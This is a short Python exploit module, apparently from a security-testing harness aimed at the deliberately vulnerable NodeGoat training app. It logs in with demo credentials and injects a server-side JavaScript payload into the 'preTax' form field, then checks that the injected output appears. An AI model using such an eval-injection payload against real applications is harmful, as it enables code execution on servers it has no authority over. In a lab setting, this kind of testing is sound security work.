from data.exploits.base.BasicExploit import BasicExploit
from settings import mapped_port_host

class Exploit(BasicExploit):

	attributes = {
		  "Name" : "Nodegoat_Injection_Server",
		  "Description" : "",
		  "Target" : "nodegoat",
		  "Container" : "ubuntu-node-mongo",
		  "Type" : ""
	}

	def runExploit(self):
	  wrapper = self.wrapper
	  wrapper.navigate("http://localhost:%s/login" % mapped_port_host)
	  wrapper.find("userName").keys("goat")
	  wrapper.find("password").keys("123")
	  wrapper.find("button.btn.btn-danger").click()

	  wrapper.navigate("http://localhost:49160/contributions")
	  wrapper.find("preTax").clear()
	  wrapper.find("preTax").keys("res.end(\"<div id='pwn'>PWN</div>\")");
	  wrapper.find("button.btn.btn-default").click()
	  txt = wrapper.find("pwn").raw.text
	  self.assertIn("PWN", txt, "Exploit didn't work!")
